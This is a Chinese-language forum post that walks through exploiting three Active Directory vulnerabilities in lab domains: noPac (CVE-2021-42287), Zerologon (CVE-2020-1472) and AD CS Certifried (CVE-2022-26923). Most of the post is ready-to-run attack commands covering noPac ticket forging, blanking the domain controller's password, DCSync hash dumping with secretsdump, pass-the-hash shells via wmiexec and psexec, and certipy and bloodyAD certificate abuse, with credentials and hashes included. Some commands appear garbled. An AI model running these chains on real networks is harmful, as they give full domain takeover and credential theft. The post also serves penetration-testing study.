本帖最后由 alyssa 于 2023-9-5 14:56 编辑
CVE-2021-42287由于Active Directory没有对域中计算机和服务器账号进行验证,经过身份验证的攻击者利用该漏洞绕过完全限制,可将域中普通用户权限提升为域管理员权限并执行任意代码。 [size=1em]利用条件前提条件:一个域内普通账号 影响版本:Windows基本全系列 [size=1em]漏洞复现当前场景如下,目前已经获得了Web Server的主机权限和webadmin这个域成员的账号和密码,来使用CVE-2021-42287漏洞来攻击域控主机 这里我们可以使用nopac脚本来进行利用 在攻击前先将该域名和IP地址绑定在hosts中 检测是否存在漏洞 noPac.exe scan -domain god.org -user webadmin -pass admin!@#45
漏洞存在,接下来我们使用域普通用户的TGT,利用漏洞请求TGS申请域控机器账户 cifs服务的ST凭证 noPac -domain god.org -user webadmin -pass admin!@#45 /dc owa2010cn-god.god.org --impersonate administrator -dump -use-ldap
生成票据后我们再来查看一下当前电脑上所存在的票据 klist
发现有一条和域控建立的票据,这里我们直接使用psexec连接即可 PsExec \\owa2010cn-god.god.org cmd
CVE-2020-1472CVE-2020-1472是一个windows域控中最严重的远程权限提升漏洞,攻击者通过NetLogon,建立与域控间易受攻击的安全通道时,可利用此漏洞获取域管访问权限 首先先获取域控的计算机名 net group "domain controllers" /domain
然后使用测试脚本去检测该域控是否存在漏洞 python zerologon_tester.py owa2010cn-god 192.168.3.21
然后使用exp连接DC清空凭证 python cve-2020-1472-exploit.py OWA2010CN-GOG 192.168.3.21
执行后,会将DC的密码置空,然后我们再使用空密码连接将域内的HASH导出出来 secretsdump.exe "god.org/owa2010cn-god$@192.168.3.21" -no-pass
这时我们在使用域控的hash去进行PTH连接,拿到域控权限 wmiexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 god/admin
CVE-2022-26923该漏洞允许低权限用户在安装了Active Directory证书服务(AD CS)服务器角色的默认Active Directory环境中将权限提升为域管理员。现在已经很少没有安装AD CS的大中型Active Directory环境,所以该漏洞危害和利用性都较强。 [size=1em]利用条件前提条件: 影响版本:win8.1、win10、win11、Windows Server 2012 R2、Windows Server2016、Windows Server2019、Windows Server2022等版本 [size=1em]环境搭建首先准备一台已搭建域服务的主机,这里选择Windows Server 2012R2版本。因为这个漏洞基于证书服务,所以需要DC中安装Active Directory证书服务。点击添加角色和功能,默认下一步直到下图,选择安装Active Directory证书服务: 下一步到角色服务中,勾选证书颁发机构、证书颁发机构web注册、证书注册策略Web服务 点击安装即可 安装完成后需要配置Active Directory证书服务,在服务器管理器中单击该选项。 选择刚刚安装时所勾选的三个服务后默认下一步到CA名称中 配置CA证书后,下一步到服务器证书 在服务器证书中,选择证书并稍后为SSL分配,点击下一步 下一步配置 查看是否配置成功:在证书颁发机构中查看是否存在证书模板 该漏洞的利用条件为获得一个域内普通用户权限,所以需要在DC上创建一个用户,之后便会使用这个用户的凭据进行域控提权操作。
[size=1em]漏洞利用获取CA名称目前我们的已知信息 域控Win 2012
IP:192.168.45.152
主机名:DC-2012
域名:tidesec.local
用户:test/Pass123
接下来第一步我们需要获取该域内的CA名称 查看是否存在证书驱动器
Get-PSDrive cert | ft -AutoSize
列出本地机器账户的证书
Get-ChildItem Cert:\LocalMachine\Root
certutil
certutil -config - -ping
3. 合理猜测 根据域控主机名和域名进行猜测 域控主机名:DC-2012
域名:tidesec.local
CA名称:tidesec-DC-2012-CA
申请证书在申请证书前,需要先修改一下我们攻击机的hosts文件,将域名和ip地址对应一下 vim /etc/hosts
192.168.45.152 tidesec.local
192.168.45.152 tidesec-DC-2012-CA
192.168.45.152 DC-2012.tidesec.local
这里需要使用到certipy工具,在使用前先进行安装 python3 setup.py install
安装后使用我们刚刚所获得的低权限用户、CA名、域控计算机名来生成一个证书 certipy req tidesec.local'testass123'@DC-2012.tidesec.local -ca tidesec-DC-2012-CA -template User
申请ceshi用户证书账号成功后,执行命令来验证该证书,获取其NT hash值 certipy auth -pfx test.pfx
成功获取到了NT hash,说明测试环境没有问题,接下来需要使用bloodyAD来新建一个机器账号 在新建账号前我们先观察一下,当前域控下的Computers下是没有账号的, 接下来新建一个 python3 bloodyAD.py -d tidesec.local -u test -p 'Pass123' --host 192.168.45.152 addComputer test2 'Test12345'
这时再来观察下域控中成功添加了一个test2的机器账户, 接下来设置其dNSHostName 属性为域控服务器属性 python3 bloodyAD.py -d tidesec.local -u test -p 'Pass123' --host 192.168.45.152 setAttribute 'CN=test2,CN=Computers,DC=tidesec,DC=local' dNSHostName '["DC-2012.tidesec.local"]'
接下来我们再用刚新建的机器账号test2去申请证书,其实是申请的域控DC$的证书 certipy req 'tidesec.local/test2$:Test12345@192.168.45.152' -template Machine -dc-ip 192.168.45.152 -ca tidesec-DC-2021-CA
可以看到此时的证书不是test.pfx,是主机名dc-2012.pfx,颁发的是域控制器的计算机账户证书,。接下来我们使用该证书进行认证,Certipy工具检索到了DC-2012$的NTLM hash。 certipy auth -pfx dc-2012.pfx -dc-ip 192.168.45.152
然后我们可以使用impacket工具包中的secretsdump.py脚本来执行DCSync攻击,导出域内用户Hash python3 secretsdump.py 'tidesec.local/DC-2012$@DC-2012.tidesec.local' -hashes :20d4bd2f70725811f4e39fe77166e00b
之后在使用wmiexec.py脚本去获得域控账户的执行权限 python3 wmiexec.py tidesec.local/administrator@192.168.45.152 -hashes aad3b435b51404eeaad3b435b51404ee:ccef208c6485269c20db2cad21734fe7
|